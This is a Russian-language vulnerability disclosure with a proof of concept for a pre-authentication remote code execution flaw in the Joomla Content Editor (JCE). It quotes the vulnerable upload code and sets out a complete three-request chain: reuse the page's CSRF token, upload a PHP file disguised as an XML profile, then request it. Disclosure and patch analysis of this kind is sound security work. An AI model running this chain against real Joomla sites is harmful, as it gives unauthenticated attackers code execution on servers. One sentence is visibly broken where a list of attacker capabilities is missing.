
Эксплойт Proof-of-concept и технический анализ для CVE-2026-48907, уязвимости удаленного выполнения кода до аутентификации с CVSS 10.0 в Joomla Content Editor (JCE). Включает цепочку атак из 3 запросов и подробный разбор исправления.
Proof-of-concept эксплойт для CVE-2026-48907 — уязвимость удаленного выполнения кода (RCE) с рейтингом CVSS 10.0 без аутентификации в расширении Joomla Content Editor (JCE).
Исследование Grayxploit Security Team
CVE-2026-48907 — это критическая уязвимость удаленного выполнения кода (RCE) без аутентификации, затрагивающая расширение Joomla Content Editor (JCE) — наиболее широко используемый редактор Joomla — во всех версиях до 2.9.99.4 включительно.
Объединив три независимые слабости безопасности в рабочем процессе импорта профилей JCE, полностью неаутентифицированный злоумышленник может:
/tmp/Атака требует всего 3 HTTP-запроса и работает против любой стандартной установки Joomla с уязвимой версией JCE.
CVSS v4 Score: 10.0 — Critical
Обнаружено и публично раскрыто командой безопасности Grayxploit после ответственного раскрытия.
| Программное обеспечение | Уязвимые версии | Исправленная версия |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (рекомендуется) |
Примечание: В версии 2.9.99.5 внедрено основное исправление. Версия 2.9.99.6 добавляет дополнительные уровни защиты. Обновитесь до 2.9.99.6 или новее.
Уязвимость возникает в конечной точке импорта профилей JCE:
POST /index.php?option=com_jce&task=profiles.import
JCE позволяет администраторам экспортировать и импортировать профили редактора в виде XML-файлов. Обработчик импорта доступен без аутентификации и принимает произвольные загрузки файлов из-за цепочки трех независимых слабых мест.
Контроллер импорта не выполнял проверку ACL:
public function import()
{
// Единственная защита: CSRF-токен — легко обходится
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … сразу переходит к обработке файла — вызов authorise() отсутствует
}
Joomla встраивает CSRF-токен в каждую публичную страницу как мета-тег или JS-переменную:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Злоумышленник просто загружает главную страницу, извлекает токен и использует его повторно. Проверка CSRF предотвращает межсайтовые запросы — она не предотвращает прямые скриптовые запросы. В пути импорта не было вызовов Factory::getUser() или $user->authorise(...).
Обработчик загрузки использовал File::makeSafe(), который только удаляет недопустимые символы файловой системы — он не проверяет и не ограничивает расширения файлов:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // удаляет только недопустимые символы
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Имя файла, например shell.xml.php, проходит File::makeSafe() без изменений. Apache с mod_php выполняет его, так как последнее распознанное расширение — .php. Расширения типа .php, .php5, .phtml и двойные варианты были приняты.
File::upload() вызван с $allow_unsafe = true (CWE-116)Встроенный в File::upload() Joomla черный список расширений блокирует опасные типы файлов, когда $allow_unsafe = false (по умолчанию):
// Сигнатура Joomla File::upload()
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
Уязвимый код JCE явно отключал эту защиту:
// УЯЗВИМО — небезопасные загрузки явно разрешены
File::upload($source, $destination, false, true);
Этот единственный логический флаг отключал весь внутренний черный список расширений Joomla, позволяя записывать на диск .php, .php5, .phtml и все другие исполняемые расширения.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Извлечение csrf_token из HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --граница │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --граница │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --граница │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --граница-- │
│ │
│ ← 200 OK (файл записан в /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Ответ: "3105" (45 × 69 = RCE подтвержден ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
Нет файлов cookie сессии. Нет имени пользователя. Нет пароля. 3 HTTP-запроса.